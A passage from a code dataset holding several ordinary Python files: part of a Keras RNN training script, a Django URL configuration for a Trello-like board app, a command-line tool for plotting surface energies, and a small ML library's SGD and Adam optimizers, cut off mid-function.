N_y1_t0.dense3 = Dense(NB_CLASSES_Y1, activation='linear')\r\n\r\n @staticmethod\r\n def apply(_ry1_t0, name):\r\n _t = N_y1_t0.dense1(_ry1_t0)\r\n# _t = Dropout(.2)(_t)\r\n# _t = N_y1_t0.dense2(_t)\r\n# _t = Dropout(.2)(_t)\r\n _t = N_y1_t0.dense3(_t)\r\n _y1_t0 = Activation('softmax', name=name)(_t)\r\n return _y1_t0\r\n\r\n\r\nclass N_y2_t0:\r\n\r\n @staticmethod\r\n def define():\r\n N_y2_t0.dense1 = Dense(120, activation='sigmoid')\r\n# N_y2_t0.dense2 = Dense(120, activation='sigmoid')\r\n N_y2_t0.dense3 = Dense(NB_CLASSES_Y2, activation='linear')\r\n\r\n @staticmethod\r\n def apply(_ry2_t0, name):\r\n _t = N_y2_t0.dense1(_ry2_t0)\r\n# _t = Dropout(.2)(_t)\r\n# _t = N_y2_t0.dense2(_t)\r\n# _t = Dropout(.2)(_t)\r\n _t = N_y2_t0.dense3(_t)\r\n _y2_t0 = Activation('softmax', name=name)(_t)\r\n return _y2_t0\r\n\r\n\r\ndef define_untied_layer(_y1, _y2, _ry1, _ry2, N_y1, N_y2, untied_num):\r\n net_num_str = str(untied_num + 1)\r\n _y1_out = N_y1.apply(_y2, _ry1, name='_y1_t'+net_num_str)\r\n _y2_out = N_y2.apply(_y1, _ry2, name='_y2_t'+net_num_str)\r\n return _y1_out, _y2_out\r\n\r\n\r\n# ============================================================\r\n\r\n# db = Database()\r\n# db.load()\r\n# pickle.dump(db, open(\"db.pickle\", \"wb\"))\r\ndb = pickle.load(open(\"db.pickle\", \"rb\"))\r\ndata = Data(db)\r\ndb.spk_folds = np_utils.to_categorical(\r\n np.random.randint(FOLD_NUM, size=len(data.y2)),\r\n FOLD_NUM\r\n )\r\n\r\nall_accs1 = list()\r\nall_unaccs1 = list()\r\nall_accs2 = list()\r\nall_unaccs2 = list()\r\nfor f in range(FOLD_NUM):\r\n folds = db.spk_folds[:, f]\r\n data.define_data_train_test(folds)\r\n N_y1_t0.define()\r\n N_y2_t0.define()\r\n N_ry1_t0.define()\r\n N_ry2_t0.define()\r\n N_y1.define()\r\n N_y2.define()\r\n N_ry1.define()\r\n N_ry2.define()\r\n for train_untied_layer_num in range(RNN_UNTIED_NUM):\r\n _ry1_start = Input(shape=(np.size(data.X1_train[0, :]),), name='_ry1_start')\r\n _ry2_start = Input(shape=(np.size(data.X2_train[0, :]),), name='_ry2_start')\r\n _y1 = N_y1_t0.apply(_ry1_start, name='_y1_t0')\r\n _y2 = N_y2_t0.apply(_ry2_start, name='_y2_t0')\r\n _ry1 = N_ry1_t0.apply(_ry1_start, name='_ry1_t0')\r\n _ry2 = N_ry2_t0.apply(_ry2_start, name='_ry2_t0')\r\n for untied_layer_num in range(train_untied_layer_num):\r\n _y1, _y2 = define_untied_layer(_y1, _y2, _ry1, _ry2,\r\n N_y1, N_y2, untied_layer_num)\r\n _y1_end = _y1\r\n _y2_end = _y2\r\n n_untie_str = str(train_untied_layer_num)\r\n model = Model(input=[_ry1_start, _ry2_start], output=[_y1_end, _y2_end])\r\n model.compile(optimizer=Adam(),\r\n loss={'_y1_t'+n_untie_str: 'categorical_crossentropy', '_y2_t'+n_untie_str: 'categorical_crossentropy'},\r\n loss_weights={'_y1_t'+n_untie_str: 1., '_y2_t'+n_untie_str: 1}, metrics=['accuracy'])\r\n model.fit({'_ry1_start': data.X1_train, '_ry2_start': data.X2_train},\r\n {'_y1_t'+n_untie_str: data.Y1_train, '_y2_t'+n_untie_str: data.Y2_train},\r\n nb_epoch=NB_EPOCH[train_untied_layer_num], batch_size=BATCH_SIZE, verbose=1, shuffle=True,\r\n validation_data=([data.X1_test, data.X2_test], [data.Y1_test, data.Y2_test]),\r\n class_weight={'_y1_t'+n_untie_str: data.class_weight_y1, '_y2_t'+n_untie_str: data.class_weight_y2})\r\n Y_test_predicted_probs = model.predict([data.X1_test, data.X2_test], batch_size=BATCH_SIZE)\r\n Y1_test_predicted_probs = Y_test_predicted_probs[0]\r\n Y2_test_predicted_probs = Y_test_predicted_probs[1]\r\n y1_test_predicted = Y1_test_predicted_probs.argmax(axis=-1)\r\n y2_test_predicted = Y2_test_predicted_probs.argmax(axis=-1)\r\n print('\\n###################################\\n')\r\n unacc1 = calculate_unweighted_acc(data.y1_test, y1_test_predicted, NB_CLASSES_Y1)\r\n acc1 = calculate_weighted_acc(data.y1_test, y1_test_predicted)\r\n unacc2 = calculate_unweighted_acc(data.y2_test, y2_test_predicted, NB_CLASSES_Y2)\r\n acc2 = calculate_weighted_acc(data.y2_test, y2_test_predicted)\r\n print('acc1:', acc1)\r\n print('unacc1:', unacc1)\r\n print('acc2:', acc2)\r\n print('unacc2:', unacc2)\r\n # raw_input(\"Press Enter to continue...\")\r\n all_accs1.append(acc1)\r\n all_unaccs1.append(unacc1)\r\n all_accs2.append(acc2)\r\n all_unaccs2.append(unacc2)\r\n print('\\n###################################\\n')\r\n # raw_input(\"Press Enter to continue...\")\r\nprint('all_accs1:', all_accs1)\r\nprint('all_unaccs1:', all_unaccs1)\r\nprint('mean_acc1:', np.mean(np.array(all_accs1)))\r\nprint('std_acc1:', np.std(np.array(all_accs1)))\r\nprint('mean_unacc1:', np.mean(np.array(all_unaccs1)))\r\nprint('std_unacc1:', np.std(np.array(all_unaccs1)))\r\n\r\nprint('all_accs2:', all_accs2)\r\nprint('all_unaccs2:', all_unaccs2)\r\nprint('mean_acc2:', np.mean(np.array(all_accs2)))\r\nprint('std_acc2:', np.std(np.array(all_accs2)))\r\nprint('mean_unacc2:', np.mean(np.array(all_unaccs2)))\r\nprint('std_unacc2:', np.std(np.array(all_unaccs2)))\r\n", "sub_path": "egs/keras_example/rnn_disentangling.py", "file_name": "rnn_disentangling.py", "file_ext": "py", "file_size_in_byte": 15001, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.random.seed", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 14, "usage_type": "attribute"}, {"api_name": "scipy.io.io.loadmat", "line_number": 47, "usage_type": "call"}, {"api_name": "scipy.io.io", "line_number": 47, "usage_type": "attribute"}, {"api_name": "scipy.io", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 122, "usage_type": "call"}, {"api_name": "keras.utils.np_utils.to_categorical", "line_number": 124, "usage_type": "call"}, {"api_name": "keras.utils.np_utils", "line_number": 124, "usage_type": "name"}, {"api_name": "keras.utils.np_utils.to_categorical", "line_number": 125, "usage_type": "call"}, {"api_name": "keras.utils.np_utils", "line_number": 125, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 158, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 174, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 176, "usage_type": "call"}, {"api_name": "keras.layers.merge", "line_number": 180, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 186, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 194, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 196, "usage_type": "call"}, {"api_name": "keras.layers.merge", "line_number": 200, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 206, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 214, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 216, "usage_type": "call"}, {"api_name": "keras.layers.merge", "line_number": 220, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 226, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 234, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 236, "usage_type": "call"}, {"api_name": "keras.layers.merge", "line_number": 240, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 246, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 254, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 256, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 265, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 273, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 275, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 284, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 292, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 294, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 303, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 311, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 313, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 322, "usage_type": "call"}, {"api_name": "cPickle.load", "line_number": 338, "usage_type": "call"}, {"api_name": "keras.utils.np_utils.to_categorical", "line_number": 340, "usage_type": "call"}, {"api_name": "keras.utils.np_utils", "line_number": 340, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 341, "usage_type": "attribute"}, {"api_name": "keras.layers.Input", "line_number": 361, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 361, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 362, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 362, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 373, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 374, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 405, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 405, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 406, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 406, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 408, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 408, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 412, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 412, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 414, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 414, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 415, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 415, "usage_type": "call"}]} +{"seq_id": "129995409", "text": "from django.urls import path\nfrom trello import views\n\nurlpatterns = [\n path('', views.login_user, name='login'),\n path('logout',views.logout_user,name='logout'),\n path('signup',views.signup_user,name='signup'),\n path('boards',views.get_user_board,name='boards'),\n path('create', views.create_board, name='create'),\n path('lists/8?46221125/1',views.get_list,name='list'),\n path('createlists/', views.create_list, name='create_list'),\n path('cards//', views.get_card, name='cards'),\n path('createards/', views.create_card, name='create_card'),\n path('archivelist/',views.archive_list,name='archive_list'),\n path('archivecard/',views.archive_card,name='archive_card'),\n path('archiveboard/',views.archive_board,name='archive_board'),\n path('api/updates/board/', views.updates_board, name='updates_board'),\n path('api/updates/list/', views.updates_list, name='updates_list'),\n path('api/updates/card/', views.updates_card, name='updates_card'),\n path('create/member', views.create_member, name='create_member'),\n path('listmember', views.get_members, name='list_members'),\n path('member/rename/', views.rename_member, name='rename_member'),\n path('member/archive/', views.archive_member, name='archive_member'),\n path('board/labels/', views.get_labels, name='get_labels'),\n path('board/rename/label/', views.rename_label, name='rename_label'),\n path('board/archive/label/', views.archive_label, name='archive_label'),\n\n]", "sub_path": "Stitch_tec_test/trello/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1562, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "trello.views.login_user", "line_number": 5, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 5, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "trello.views.logout_user", "line_number": 6, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 6, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "trello.views.signup_user", "line_number": 7, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "trello.views.get_user_board", "line_number": 8, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "trello.views.create_board", "line_number": 9, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "trello.views.get_list", "line_number": 10, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "trello.views.create_list", "line_number": 11, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "trello.views.get_card", "line_number": 12, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "trello.views.create_card", "line_number": 13, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "trello.views.archive_list", "line_number": 14, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "trello.views.archive_card", "line_number": 15, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "trello.views.archive_board", "line_number": 16, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "trello.views.updates_board", "line_number": 17, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 17, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "trello.views.updates_list", "line_number": 18, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 18, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "trello.views.updates_card", "line_number": 19, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "trello.views.create_member", "line_number": 20, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "trello.views.get_members", "line_number": 21, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 21, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "trello.views.rename_member", "line_number": 22, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 22, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "trello.views.archive_member", "line_number": 23, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "trello.views.get_labels", "line_number": 24, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 24, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "trello.views.rename_label", "line_number": 25, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 25, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "trello.views.archive_label", "line_number": 26, "usage_type": "attribute"}, {"api_name": "trello.views", "line_number": 26, "usage_type": "name"}]} +{"seq_id": "605869271", "text": "# Misc \nfrom argparse import ArgumentParser\nimport pandas as pd\nfrom ruamel.yaml.main import YAML\n\n# Surfaxe \nfrom surfaxe.io import plot_surfen\n\ndef _get_parser(): \n parser = ArgumentParser(\n description=\"\"\"Plots the surface energy for all terminations.\"\"\"\n )\n parser.add_argument('-f', '--filename', \n help='Path to the csv file from parsefols with data')\n parser.add_argument('--plt-fname', default='surface_energy.png', type=str,\n dest='plt_fname', help='Filename of the plot (default: surface_energy.png)')\n parser.add_argument('--dpi', default=300, type=int, \n help='Dots per inch (default: 300)')\n parser.add_argument('-c', '--colors', default=None, nargs='+', type=str, \n help=('Colours for different vacuum thicknesses plots in any format '\n 'supported by mpl e.g. r g \"#eeefff\" where hex colours starting with # need '\n 'to be surrounded with quotation marks' ))\n parser.add_argument('--width', default=6, type=float, \n help='Width of the figure in inches (default: 6)')\n parser.add_argument('--height', default=5, type=float, \n help='Height of the figure in inches (default: 5)')\n parser.add_argument('--yaml', default=None, type=str,\n help=('Read all args from a yaml config file. Completely overrides any '\n 'other flags set '))\n\n return parser\n\ndef main(): \n args = _get_parser().parse_args()\n\n if args.yaml is not None: \n with open(args.yaml, 'r') as y: \n yaml = YAML(typ='safe', pure=True)\n yaml_args = yaml.load(y)\n \n df = pd.read_csv(yaml_args['filename'])\n plot_surfen(df=df, **yaml_args)\n \n else: \n df = pd.read_csv(args.filename)\n plot_surfen(df, colors=args.colors, dpi=args.dpi, width=args.width, \n height=args.height, plt_fname=args.plt_fname)\n\nif __name__ == \"__main__\":\n main()", "sub_path": "surfaxe/cli/plotsurfen.py", "file_name": "plotsurfen.py", "file_ext": "py", "file_size_in_byte": 1857, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 10, "usage_type": "call"}, {"api_name": "ruamel.yaml.main.YAML", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 41, "usage_type": "call"}, {"api_name": "surfaxe.io.plot_surfen", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 45, "usage_type": "call"}, {"api_name": "surfaxe.io.plot_surfen", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "577523183", "text": "from MiniMLCore import Model\r\nimport numpy as np\r\nfrom itertools import islice \r\n\r\nclass Losses():\r\n \"A Generala class for losses\"\r\n def __init__():\r\n pass\r\n\r\n\r\nclass MeanSquaredError(Losses):\r\n \"The mean squared error loss function\"\r\n def calculate_loss(expected,outputs):\r\n \"\"\"\r\n A function to calculate the model loss\r\n\r\n Parameters\r\n ----------\r\n expected : np.array\r\n A numpy array for the expected values\r\n outputs : np.array\r\n A numpy array for the actual value\r\n\r\n Returns\r\n -------\r\n float\r\n The loss\r\n\r\n \"\"\"\r\n return np.average((expected-outputs)**2)\r\n def calculate_gradients(expected,outputs):\r\n \"\"\"\r\n A function to calculate the gradient of the loss given inputs and expected balues\r\n\r\n Parameters\r\n ----------\r\n expected : np.array\r\n expected values\r\n outputs : np.array\r\n actual values\r\n\r\n Returns\r\n -------\r\n np.array\r\n Loss gradients\r\n\r\n \"\"\"\r\n return 2*(expected-outputs)\r\n\r\n\r\nclass GradientOptimizer():\r\n \"\"\"A class to calculate the gradients needed for the optimizers to compute the best course of action\"\"\"\r\n def __init__(self,model,cost):\r\n \"\"\"\r\n The constructor for the gradient optimizer\r\n \r\n Parameters\r\n ----------\r\n model : Model\r\n The model that will be optimized\r\n cost : Losses\r\n A Loss function\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n self.model = model\r\n self.cost = cost\r\n def gradient_calc(self,inputs,outputs):\r\n \"\"\"\r\n This function calculates the gradients of the model\r\n\r\n Parameters\r\n ----------\r\n inputs : np.array\r\n model inputs\r\n outputs : np.array\r\n model outputs\r\n\r\n Returns\r\n -------\r\n np.array\r\n Gradients\r\n\r\n \"\"\"\r\n inputs = np.array(inputs)\r\n outputs = np.array(outputs) \r\n results = self.model.getlayerbylayer(inputs)\r\n cost_delta = np.array(self.cost.calculate_gradients(outputs,results[-1])).reshape(-1)\r\n gradients = [{\"PrevLayer\":np.array(cost_delta)}]\r\n for i in range(len(self.model.layers)-1,-1,-1): \r\n gradients.append(self.model.layers[i].calculate_gradients(results[i],cost_delta))\r\n cost_delta = np.average(np.array(gradients[-1][\"PrevLayer\"]),0).reshape(-1)\r\n return gradients[::-1]\r\n def batch_gradient_calculate(self,inputs,outputs):\r\n \"\"\"\r\n Calculates the gradients in batches\r\n\r\n Parameters\r\n ----------\r\n inputs : np.array\r\n batch of inputs\r\n outputs : np.array\r\n batch of outputs\r\n\r\n Returns\r\n -------\r\n gradients : np.array\r\n Gradients of model\r\n\r\n \"\"\"\r\n gradients = []\r\n for i in zip(inputs,outputs):\r\n gradients.append(self.gradient_calc(i[0],i[1]))\r\n return gradients\r\n def generate_batches(self,inputs,outputs):\r\n \"\"\"\r\n A function to generate batches from inputs and outputs\r\n with the given batch_size\r\n\r\n Parameters\r\n ----------\r\n inputs : np.array\r\n inputs to the model\r\n outputs : np.array\r\n expected outputs from the model\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n length = len(inputs)\r\n split_sizes = []\r\n for i in range(0,int(np.floor(length/self.batch_size))):\r\n split_sizes.append(self.batch_size)\r\n split_sizes.append(length%self.batch_size)\r\n return([list(islice(inputs, elem)) for elem in split_sizes],[list(islice(outputs, elem)) for elem in split_sizes])\r\n\r\nclass SGD(GradientOptimizer):\r\n \"\"\"The Sochastic Gradient Descent Optimizer model\"\"\"\r\n def __init__(self,model,cost,learning_rate=.01,batch_size=32):\r\n \"\"\"\r\n \r\n\r\n Parameters\r\n ----------\r\n model : Model\r\n The model that you want to train\r\n cost : Losses\r\n The loss function to use\r\n learning_rate : float, optional\r\n The learning rate of the model. The default is .01.\r\n batch_size : int, optional\r\n The batch size to subdivide the data into. The default is 32.\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n super().__init__(model,cost)\r\n self.learning_rate = learning_rate\r\n self.batch_size = batch_size\r\n def combine_dicts(self,a, b):\r\n \"\"\"\r\n \r\n Combinging two dicts together used to add and average the gradients\r\n \r\n Parameters\r\n ----------\r\n a : dict\r\n The first dict\r\n b : dict\r\n The second dict\r\n\r\n Returns\r\n -------\r\n dict\r\n The sum of the two\r\n\r\n \"\"\"\r\n return dict([(k, np.add(a[k], b[k])) for k in set(b) & set(a)])\r\n def train_step(self,inputs,outputs):\r\n \"\"\"\r\n A training step iterated over for an epoch\r\n\r\n Parameters\r\n ----------\r\n inputs : np.array\r\n models inputs\r\n outputs : np.array\r\n models outputs\r\n\r\n Returns\r\n -------\r\n float\r\n A sample gradient from teh Model \r\n\r\n \"\"\"\r\n batches_in,batches_out = self.generate_batches(inputs,outputs)\r\n for idx in range(len(batches_in)):\r\n gradients = self.batch_gradient_calculate(batches_in[idx],batches_out[idx])\r\n average_gradients = gradients[0]\r\n for gradient in gradients:\r\n for layerindex in range(0,len(gradient)):\r\n layer = gradient[layerindex]\r\n avg_grads_layer = average_gradients[layerindex]\r\n average_gradients[layerindex] = self.combine_dicts(layer,avg_grads_layer)\r\n for entry_num in range(0,len(average_gradients)):\r\n for key in average_gradients[entry_num]:\r\n average_gradients[entry_num][key] /= (len(gradients)/self.learning_rate)\r\n self.model.apply_changes(average_gradients)\r\n return average_gradients[-1][\"PrevLayer\"][-1]\r\n def train(self,inputs,outputs,epochs=1):\r\n \"\"\"\r\n The training methods\r\n\r\n Parameters\r\n ----------\r\n inputs : np.array\r\n models inputs\r\n outputs : np.array\r\n models outputs\r\n epochs : int, optional\r\n number of times to iterate the training step. The default is 1.\r\n\r\n Returns\r\n -------\r\n loss_list : float\r\n the loss of the model\r\n\r\n \"\"\"\r\n \r\n loss_list = []\r\n for index in range(0,epochs):\r\n self.train_step(inputs,outputs)\r\n loss = self.cost.calculate_loss(self.model.batch_predict(inputs),outputs)\r\n loss_list.append(loss)\r\n print(loss)\r\n return loss_list\r\n \r\nclass Adam(GradientOptimizer):\r\n \"\"\"The Adam optimizer for models\"\"\"\r\n def __init__(self,model,cost,learning_rate=.001,batch_size=32,beta_1=.9,beta_2=.999,epsilon=1e-8):\r\n \"\"\"\r\n \r\n\r\n Parameters\r\n ----------\r\n model : Model\r\n The model needed to optimize\r\n cost : Losses\r\n The cost function that needs to be used\r\n learning_rate : float, optional\r\n The leraning rate for the adam optimizer. The default is .001.\r\n batch_size : int, optional\r\n The Batch Size. The default is 32.\r\n beta_1 : float, optional\r\n The beta value for the first order. The default is .9.\r\n beta_2 : float, optional\r\n The beta value used for the second order. The default is .999.\r\n epsilon : float, optional\r\n The epsilon value used in adam optimization. The default is 1e-8.\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n super().__init__(model,cost)\r\n self.learning_rate = learning_rate\r\n self.batch_size = batch_size\r\n \r\n self.beta_1 = beta_1\r\n self.beta_2 = beta_2\r\n self.epsilon = epsilon\r\n \r\n self.v_momentum = False\r\n self.s_momentum = False\r\n self.t = 0\r\n def combine_dicts(self,a, b):\r\n \"\"\"\r\n \r\n Combinging two dicts together used to add and average the gradients\r\n \r\n Parameters\r\n ----------\r\n a : dict\r\n The first dict\r\n b : dict\r\n The second dict\r\n\r\n Returns\r\n -------\r\n dict\r\n The sum of the two\r\n\r\n \"\"\"\r\n return dict([(k, np.add(a[k], b[k])) for k in set(b) & set(a)])\r\n \r\n def train_step(self,inputs,outputs):\r\n \"\"\"\r\n The training methods\r\n\r\n Parameters\r\n ----------\r\n inputs : np.array\r\n models inputs\r\n outputs : np.array\r\n models outputs\r\n epochs : int, optional\r\n number of times to iterate the training step. The default is 1.\r\n\r\n Returns\r\n -------\r\n loss_list : float\r\n the loss of the model\r\n\r\n \"\"\"\r\n \r\n batches_in,batches_out = self.generate_batches(inputs,outputs)\r\n self.t += 1\r\n for idx in range(len(batches_in)):\r\n gradients = self.batch_gradient_calculate(batches_in[idx],batches_out[idx])\r\n average_gradients = gradients[0]\r\n for gradient in gradients:\r\n for layerindex in range(0,len(gradient)):\r\n layer = gradient[layerindex]\r\n avg_grads_layer = average_gradients[layerindex]\r\n average_gradients[layerindex] = self.combine_dicts(layer,avg_grads_layer)\r\n for entry_num in range(0,len(average_gradients)):\r\n for key in average_gradients[entry_num]:\r\n average_gradients[entry_num][key] /= -len(gradients)\r\n \r\n if self.v_momentum == False: \r\n self.v_momentum = average_gradients.copy()\r\n for entry_num in range(0,len(average_gradients)):\r\n for key in average_gradients[entry_num]:\r\n self.v_momentum[entry_num][key] = np.zeros(np.shape(self.v_momentum[entry_num][key]))\r\n \r\n if self.s_momentum == False: \r\n self.s_momentum = average_gradients.copy()\r\n for entry_num in range(0,len(average_gradients)):\r\n for key in average_gradients[entry_num]:\r\n self.s_momentum[entry_num][key] = np.zeros(np.shape(self.s_momentum[entry_num][key]))\r\n \r\n for entry_num in range(0,len(average_gradients)):\r\n for key in average_gradients[entry_num]:\r\n \r\n self.v_momentum[entry_num][key] = self.beta_1*self.v_momentum[entry_num][key] + (1-self.beta_1)*average_gradients[entry_num][key]\r\n self.s_momentum[entry_num][key] = np.abs(self.beta_2*self.s_momentum[entry_num][key]) + (1-self.beta_2)*((average_gradients[entry_num][key])**2)\r\n \r\n v_adj = self.v_momentum[entry_num][key]/(1-(self.beta_1**self.t))\r\n s_adj = self.s_momentum[entry_num][key]/(1-(self.beta_2**self.t))\r\n \r\n opt_val = (v_adj/((np.sqrt(s_adj)+self.epsilon)))\r\n average_gradients[entry_num][key] = -self.learning_rate*opt_val\r\n\r\n self.model.apply_changes(average_gradients)\r\n return average_gradients[-1][\"PrevLayer\"][-1]\r\n def 